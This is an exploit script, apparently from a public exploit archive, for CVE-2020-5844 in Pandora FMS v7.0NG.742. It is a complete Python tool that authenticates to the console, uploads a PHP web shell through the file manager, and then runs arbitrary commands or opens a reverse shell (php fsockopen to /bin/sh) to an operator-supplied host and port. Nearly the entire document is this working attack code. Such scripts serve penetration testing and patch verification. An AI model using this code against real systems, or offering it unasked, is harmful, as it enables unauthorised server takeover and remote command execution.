Pandora FMS v7.0NG.742 – Remote Code Execution (RCE) (Authenticated)

# Exploit Title: Pandora FMS v7.0NG.742 - Remote Code Execution (RCE) (Authenticated)

# Date: 05/20/2022

# Exploit Author: UNICORD (NicPWNs & Dev-Yeoj)

# Vendor Homepage: https://pandorafms.com/

# Software Link: https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/742_FIX_PERL2020/Tarball/pandorafms_server-7.0NG.742_FIX_PERL2020.tar.gz

# Version: v7.0NG.742

# Tested on: Pandora FMS v7.0NG.742 (Ubuntu)

# CVE: CVE-2020-5844

# Source: https://github.com/UNICORDev/exploit-CVE-2020-5844

# Description: index.php?sec=godmode/extensions&sec2=extensions/files_repo in Pandora FMS v7.0 NG allows authenticated administrators to upload malicious PHP scripts, and execute them via base64 decoding of the file location. This affects v7.0NG.742_FIX_PERL2020.

#!/usr/bin/env python3

# Imports

try:

import requests

except:

print(f"ERRORED: RUN: pip install requests")

exit()

import sys

import time

import urllib.parse

# Class for colors

class color:

red = '\033[91m'

gold = '\033[93m'

blue = '\033[36m'

green = '\033[92m'

no = '\033[0m'

# Print UNICORD ASCII Art

def UNICORD_ASCII():

print(rf"""

{color.red} _ __,~~~{color.gold}/{color.red}_{color.no} {color.blue}__ ___ _______________ ___ ___{color.no}

{color.red} ,~~`( )_( )-\| {color.blue}/ / / / |/ / _/ ___/ __ \/ _ \/ _ \{color.no}

{color.red} |/| `--. {color.blue}/ /_/ / // // /__/ /_/ / , _/ // /{color.no}

{color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no}

""")

# Print exploit help menu

def help():

print(r"""UNICORD Exploit for CVE-2020-5844 (Pandora FMS v7.0NG.742) - Remote Code Execution

Usage:

python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -u <username> <password>

python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID>

python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-c <custom-command>]

python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-s <local-ip> <local-port>]

python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-w <name.php>]

python3 exploit-CVE-2020-5844.py -h

Options:

-t Target host and port. Provide target IP address and port.

-u Target username and password. Provide username and password to log in to Pandora FMS.

-p Target valid PHP session ID. No username or password needed. (Optional)

-s Reverse shell mode. Provide local IP address and port. (Optional)

-c Custom command mode. Provide command to execute. (Optional)

-w Web shell custom mode. Provide custom PHP file name. (Optional)

-h Show this help menu.

""")

exit()

# Pretty loading wheel

def loading(spins):

def spinning_cursor():

while True:

for cursor in '|/-\\':

yield cursor

spinner = spinning_cursor()

for _ in range(spins):

sys.stdout.write(next(spinner))

sys.stdout.flush()

time.sleep(0.1)

sys.stdout.write('\b')

# Run the exploit

def exploit(exploitMode, targetSess):

UNICORD_ASCII()

# Print initial variables

print(f"{color.blue}UNICORD: {color.red}Exploit for CVE-2020-5844 (Pandora FMS v7.0NG.742) - Remote Code Execution{color.no}")

print(f"{color.blue}OPTIONS: {color.gold}{modes[exploitMode]}{color.no}")

if targetSess is not None:

print(f"{color.blue}PHPSESS: {color.gold}{targetSess}{color.no}")

elif targetUser is not None:

print(f"{color.blue}USERNAME: {color.gold}{targetUser}{color.no}")

print(f"{color.blue}PASSWORD: {color.gold}{targetPass}{color.no}")

if exploitMode == "command":

print(f"{color.blue}COMMAND: {color.gold}{command}{color.no}")

if exploitMode == "web":

print(f"{color.blue}WEBFILE: {color.gold}{webName}{color.no}")

if exploitMode == "shell":

print(f"{color.blue}LOCALIP: {color.gold}{localIP}:{localPort}{color.no}")

print(f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port.{color.no}")

print(f"{color.blue}WEBSITE: {color.gold}http://{targetIP}:{targetPort}/pandora_console{color.no}")

loading(15)

# If a PHPSESSID is not provided, grab one with valid username and password

if targetSess is None:

try:

getSession = requests.post(f"http://{targetIP}:{targetPort}/pandora_console/index.php?login=1", data={"nick": targetUser, "pass": targetPass, "login_button": "login"})

targetSess = getSession.cookies.get('PHPSESSID')

print(f"{color.blue}PHPSESS: {color.gold}{targetSess}{color.no}")

if "login_move" in getSession.text:

print(f"{color.blue}ERRORED: {color.red}Invalid credentials!{color.no}")

except:

print(f"{color.blue}ERRORED: {color.red}Could not log in to website!{color.no}")

exit()

# Set headers, parameters, and cookies for post request

headers = {

'Host': f'{targetIP}',

'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',

'Accept-Language': 'en-US,en;q=0.5',

'Accept-Encoding': 'gzip, deflate',

'Content-Type': 'multipart/form-data; boundary=---------------------------308045185511758964171231871874',

'Content-Length': '1289',

'Connection': 'close',

'Referer': f'http://{targetIP}:{targetPort}/pandora_console/index.php?sec=gsetup&sec2=godmode/setup/file_manager',

'Upgrade-Insecure-Requests': '1',

'Sec-Fetch-Dest': 'document',

'Sec-Fetch-Mode': 'navigate',

'Sec-Fetch-Site': 'same-origin',

'Sec-Fetch-User': '?1'

}

params = (

('sec', 'gsetup'),

('sec2', 'godmode/setup/file_manager')

)

cookies = {'PHPSESSID': targetSess}

# Basic PHP web shell with 'cmd' parameter

data = f'-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="file"; filename="{webName}"\r\nContent-Type: application/x-php\r\n\r\n<?php system($_GET[\'cmd\']);?>\n\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="umask"\r\n\r\n\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="decompress_sent"\r\n\r\n1\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="go"\r\n\r\nGo\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="real_directory"\r\n\r\n/var/www/pandora/pandora_console/images\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="directory"\r\n\r\nimages\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="hash"\r\n\r\n6427eed956c3b836eb0644629a183a9b\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="hash2"\r\n\r\n594175347dddf7a54cc03f6c6d0f04b4\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="upload_file_or_zip"\r\n\r\n1\r\n-----------------------------308045185511758964171231871874--\r\n'

# Try to upload the PHP web shell to the server

try:

response = requests.post(f'http://{targetIP}:{targetPort}/pandora_console/index.php', headers=headers, params=params, cookies=cookies, data=data, verify=False)

except:

print(f"{color.blue}ERRORED: {color.red}Could not connect to website!{color.no}")

exit()

statusCode=response.status_code

if statusCode == 200:

print(f"{color.blue}EXPLOIT: {color.gold}Connected to website! Status Code: {statusCode}{color.no}")

else:

print(f"{color.blue}ERRORED: {color.red}Could not connect to website! Status Code: {statusCode}{color.no}")

exit()

loading(15)

print(f"{color.blue}EXPLOIT: {color.gold}Logged into Pandora FMS!{color.no}")

loading(15)

# Print web shell location if in web shell mode

if exploitMode == "web":

print(f"{color.blue}EXPLOIT: {color.gold}Web shell uploaded!{color.no}")

print(f"{color.blue}SUCCESS: {color.green}Web shell available at: http://{targetIP}:{targetPort}/pandora_console/images/{webName}?cmd=whoami {color.no}\n")

# Run custom command on web shell if in command mode

if exploitMode == "command":

response = requests.get(f'http://{targetIP}:{targetPort}/pandora_console/images/{webName}?cmd={urllib.parse.quote_plus(command)}')

print(f"{color.blue}SUCCESS: {color.green}Command executed! Printing response below:{color.no}\n")

print(response.text)

# Run reverse shell command if in reverse shell mode

if exploitMode == "shell":

shell = f"php -r \'$sock=fsockopen(\"{localIP}\",{localPort});exec(\"/bin/sh -i <&3 >&3 2>&3\");\'"

try:

requests.get(f'http://{targetIP}:{targetPort}/pandora_console/images/{webName}?cmd={urllib.parse.quote_plus(shell)}',timeout=1)

print(f"{color.blue}ERRORED: {color.red}Reverse shell could not connect! Make sure you have a local listener on {color.gold}{localIP}:{localPort}{color.no}\n")

except:

print(f"{color.blue}SUCCESS: {color.green}Reverse shell executed! Check your local listener on {color.gold}{localIP}:{localPort}{color.no}\n")

exit()

if __name__ == "__main__":

args = ['-h','-t','-u','-p','-s','-c','-w']

modes = {'web':'Web Shell Mode','command':'Command Shell Mode','shell':'Reverse Shell Mode'}

# Initialize starting variables

targetIP = None

targetPort = None

targetUser = None

targetPass = None

targetSess = None

command = None

localIP = None

localPort = None

webName = "unicord.php" # Default web shell file name

exploitMode = "web" # Default to web shell mode

# Print help if specified or if a target or authentication is not provided

if args[0] in sys.argv or args[1] not in sys.argv or (args[2] not in sys.argv and args[3] not in sys.argv):

help()

# Collect target IP and port from CLI

if args[1] in sys.argv:

try:

if "-" in sys.argv[sys.argv.index(args[1]) + 1]:

raise

targetIP = sys.argv[sys.argv.index(args[1]) + 1]

except:

print(f"{color.blue}ERRORED: {color.red}Provide a target port! \"-t <target-IP> <target-port>\"{color.no}")

exit()

try:

if "-" in sys.argv[sys.argv.index(args[1]) + 2]:

raise

targetPort = sys.argv[sys.argv.index(args[1]) + 2]

except:

print(f"{color.blue}ERRORED: {color.red}Provide a target port! \"-t <target-IP> <target-port>\"{color.no}")

exit()

# Collect target username and password from CLI

if args[2] in sys.argv:

try:

if "-" in sys.argv[sys.argv.index(args[2]) + 1]:

raise

targetUser = sys.argv[sys.argv.index(args[2]) + 1]

except:

print(f"{color.blue}ERRORED: {color.red}Provide both a username and password! \"-u <username> <password>\"{color.no}")

exit()

try:

if "-" in sys.argv[sys.argv.index(args[2]) + 2]:

raise

targetPass = sys.argv[sys.argv.index(args[2]) + 2]

except:

print(f"{color.blue}ERRORED: {color.red}Provide both a username and password! \"-u <username> <password>\"{color.no}")

exit()

# Collect PHPSESSID from CLI, if specified

if args[3] in sys.argv:

try:

if "-" in sys.argv[sys.argv.index(args[3]) + 1]:

raise

targetSess = sys.argv[sys.argv.index(args[3]) + 1]

except:

print(f"{color.blue}ERRORED: {color.red}Provide a valid PHPSESSID! \"-p <PHPSESSID>\"{color.no}")

exit()

# Set reverse shell mode from CLI, if specified

if args[4] in sys.argv:

exploitMode = "shell"

try:

if "-" in sys.argv[sys.argv.index(args[4]) + 1]:

raise

localIP = sys.argv[sys.argv.index(args[4]) + 1]

except:

print(f"{color.blue}ERRORED: {color.red}Provide both a local IP address and port! \"-s <local-IP> <local-port>\"{color.no}")

exit()

try:

if "-" in sys.argv[sys.argv.index(args[4]) + 2]:

raise

localPort = sys.argv[sys.argv.index(args[4]) + 2]

except:

print(f"{color.blue}ERRORED: {color.red}Provide both a local IP address and port! \"-s <local-IP> <local-port>\"{color.no}")

exit()

exploit(exploitMode,targetSess)

# Set custom command mode from CLI, if specified

elif args[5] in sys.argv:

exploitMode = "command"

try:

if sys.argv[sys.argv.index(args[5]) + 1] in args:

raise

command = sys.argv[sys.argv.index(args[5]) + 1]

except:

print(f"{color.blue}ERRORED: {color.red}Provide a custom command! \"-c <command>\"{color.no}")

exit()

exploit(exploitMode,targetSess)

# Set web shell mode from CLI, if specified

elif args[6] in sys.argv:

exploitMode = "web"

try:

if sys.argv[sys.argv.index(args[6]) + 1] in args:

raise

if ".php" not in sys.argv[sys.argv.index(args[6]) + 1]:

webName = sys.argv[sys.argv.index(args[6]) + 1] + ".php"

else:

webName = sys.argv[sys.argv.index(args[6]) + 1]

except:

print(f"{color.blue}ERRORED: {color.red}Provide a custom PHP file name! \"-c <name.php>\"{color.no}")

exit()

exploit(exploitMode,targetSess)

# Run with default web shell mode if no mode is specified

else:

exploit(exploitMode,targetSess)

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